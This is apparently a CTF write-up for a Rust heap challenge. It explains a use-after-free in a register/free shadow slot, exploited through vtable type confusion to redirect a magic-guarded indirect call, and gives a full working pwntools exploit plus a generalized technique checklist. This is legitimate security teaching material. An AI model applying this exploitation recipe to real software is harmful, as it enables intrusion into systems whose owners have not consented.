$ cat writeup.md…
$ cat writeup.md…
securinets2026
Task: Rust menu-driven heap binary (PIE, Full RELRO, no canary) with trait-object vtables, a register/free shadow slot, and an ExecNode whose activate() does a controlled indirect call guarded by magic 0xc0deca11. Solution: register then free a node to leave a dangling shadow reference, reclaim the same-size chunk with a fully attacker-controlled SentryNode key, and activate to call nexus_override (leaked in the banner) and print flag.txt.
A Rust crate manager. Create nodes, register and activate them.
The service (TCP, port 1002 on the compose host) is a Rust rustc 1.99.0 binary
main, dynamically linked against a bundled Ubuntu glibc 2.39 (libc.so.6,
ld-linux-x86-64.so.2, RUNPATH $ORIGIN, interpreter ./ld-linux-x86-64.so.2).
checksec: PIE, Full RELRO, NX, no canary, not stripped. A pwn.red/jail
Dockerfile runs it as /srv/app/run with flag.txt in the same directory and
JAIL_TIME=60.
Goal: read flag.txt. There is a hidden non-trait function nexus_override
that does exactly that, and the binary helpfully leaks its runtime address at
startup.
$ file main
main: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
$ readelf -d main | grep RUNPATH
(RUNPATH) Library runpath: [$ORIGIN]
Relevant symbols/offsets (file offsets, base is randomized):
main @ 0x19a80nexus_override @ 0x199a0 — opens flag.txt, trim()s it, prints
flag: <contents>, then exit(0).ExecNode::activate @ 0x198f0 (mangled
_RNvXs_CsbAhuKEGWW0f_4mainNtB4_8ExecNodeNtB4_4Node8activate).At startup the banner prints both addresses, so no PIE leak is required:
main @ 0x55f3a4c19a80
override @ 0x55f3a4c199a0
src/main.rs)Menu: c)reate f)ree i)nspect w)rite r)egister a)ctivate l)ist q)uit
Two global arrays:
{ data_ptr, vtable_ptr }.0x28 bytes: {f0, f1, f2 = node ptr, f3 = vtable, f4 = nonce}.The Node trait vtable layout:
| offset | method |
|---|---|
+0x18 | inspect |
+0x20 | activate |
+0x28 | write_data |
+0x30 | typename |
Three node types, all allocated with malloc(0x90) → glibc chunk class 0xa0:
DataNode (vtable 0x572f8): data[0x80], size at +0x80.
write_data(off, data) is bounded to off + len < 0x81 (hence off-by-one
at most, no useful overflow).
ExecNode (vtable 0x57330): [0] = handler function pointer,
[8] = magic 0xc0deca11, [0x10..0x80] = name, [0x80] = len.
Its write_data is denied ("exec nodes don't support writes"), but its
activate is the interesting one:
198f5: mov eax, 0xc0deca11 198fa: cmp [rdi+0x8], rax ; magic check 198fe: jne ... 19900: mov rbx, [rdi] ; rbx = self->handler ... 19928: call rbx ; <-- controlled indirect call
SentryNode (vtable 0x57368): key[0x20] + checksum at +0x20
(sum of the key bytes). Created via malloc and the 32-byte key is a fully
attacker-controlled hex input (64 hex chars → raw bytes, NULs allowed).
Static handlers echo/status/diag only print fixed text.
r)egister stores (node ptr, vtable) into the first empty shadow slot
(and stores an LCG-mutated nonce in f4).f)ree frees the node but does not clear the shadow slot → the shadow
entry becomes a dangling reference (use-after-free).a)ctivate <shadow> <nonce> verifies the supplied nonce against f4, then
performs [f3 + 0x20](f2) — i.e. it calls the original node type's
activate method on f2, which may now point at a reused chunk of a
different type → type confusion.Chain: free the ExecNode, reallocate its chunk as a SentryNode whose key we
control, then activate the stale shadow entry. Rust dispatches through the old
Exec vtable, so ExecNode::activate runs on our fake object: the magic at
+8 matches and call [obj+0] jumps to the address we planted.
Exploitation chain:
ExecNode in slot 0 (handler = 1 echo, any name).f2 = E, f3 = Exec vtable. The nonce is
printed (nonce=0x1337 for the first register).E goes to tcache 0xa0; shadow[0] still points at it.SentryNode: its creation path uses plain malloc, so it
reclaims chunk E. Key = p64(nexus_override) + p64(0xc0deca11) + 16 NUL bytes
(64 hex chars).ExecNode::activate(E):
magic check passes and call [E+0] jumps to nexus_override, which prints
flag: securinets{...}.Confirmed stack at the flag print:
nexus_override <- <main::ExecNode as main::Node>::activate <- main::main.
#!/usr/bin/env python3 # exploit2.py — working exploit import re, sys from pwn import * context.log_level = 'info' context.arch = 'amd64' def start(): if len(sys.argv) > 2: return remote(sys.argv[1], int(sys.argv[2])) # local reproduction against the bundled loader/libc return process(['./ld-linux-x86-64.so.2', '--library-path', '.', './main']) p = start() # The startup banner leaks both addresses -> no PIE bypass needed. p.recvuntil(b'override @ ') ov = int(p.recvline().strip(), 16) log.success('nexus_override @ 0x%x' % ov) def menu(): p.recvuntil(b'> ') # 1) create an ExecNode in slot 0 menu(); p.sendline(b'c') p.recvuntil(b'type (d/e/s): '); p.sendline(b'e') p.recvuntil(b'handler: '); p.sendline(b'1') p.recvuntil(b'name: '); p.sendline(b'X') # 2) register slot 0 into shadow[0] -> f2 = exec chunk, f3 = exec vtable menu(); p.sendline(b'r') p.recvuntil(b'slot: '); p.sendline(b'0') line = p.recvline() log.info('register: %r' % line) nonce = re.search(rb'nonce=(\S+)', line).group(1) # 3) free slot 0 -> exec chunk into tcache 0xa0, shadow[0] now dangles menu(); p.sendline(b'f') p.recvuntil(b'slot: '); p.sendline(b'0') # 4) reclaim the freed chunk with a SentryNode (malloc) whose 32-byte key is # fully controlled: key[0:8] = nexus_override, key[8:16] = magic. menu(); p.sendline(b'c') p.recvuntil(b'type (d/e/s): '); p.sendline(b's') p.recvuntil(b'key (hex, 32B max): ') key = p64(ov) + p64(0xc0deca11) + b'\x00' * 16 p.sendline(key.hex().encode()) # 5) activate shadow[0]: ExecNode::activate on the reclaimed chunk -> call nexus_override menu(); p.sendline(b'a') p.recvuntil(b'shadow: '); p.sendline(b'0') p.recvuntil(b'nonce: '); p.sendline(nonce) data = p.recvall(timeout=5) print(data.decode(errors='replace')) m = re.search(rb'[A-Za-z0-9_]+\{[^}]*\}', data) if m: log.success('FLAG: %s' % m.group(0).decode())
malloc-created node. The first attempt reclaimed the
freed ExecNode chunk with a DataNode, but DataNode creation uses
alloc_zeroed/calloc, which in this glibc build did not return the
freshly tcache'd 0xa0 chunk. SentryNode (malloc) reclaims it reliably.0xc0deca11 (little-endian \x11\xca\xde\xc0) at offset 8 —
the same layout ExecNode::activate reads ([rdi] and [rdi+8]). Getting
the magic wrong just prints the failure string instead of calling.main and override, and
nexus_override is a self-contained flag printer, so the whole exploit is
one arbitrary call to a known address.flag.txt must be in the process CWD — the jail runs it from
/srv/app/run, which is why the bundled flag.txt is read directly.Use this technique when:
+0x20 dispatch slots); mangled <Type as Trait>::method symbols reveal each node type.r)egister → shadow slot) while a later operation frees the object without clearing that reference (f)ree) → trivially reachable use-after-free / dangling pointer.activate-style commands re-dispatch through a saved vtable pointer on a caller-influenced object pointer → type confusion when the chunk is reclaimed by a different type.0xc0deca11) that is called from a method → perfect arbitrary-call primitive once you control the object bytes.override @ 0x...), removing the need for any info leak.nexus_override) → redirect the confused indirect call straight at it.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar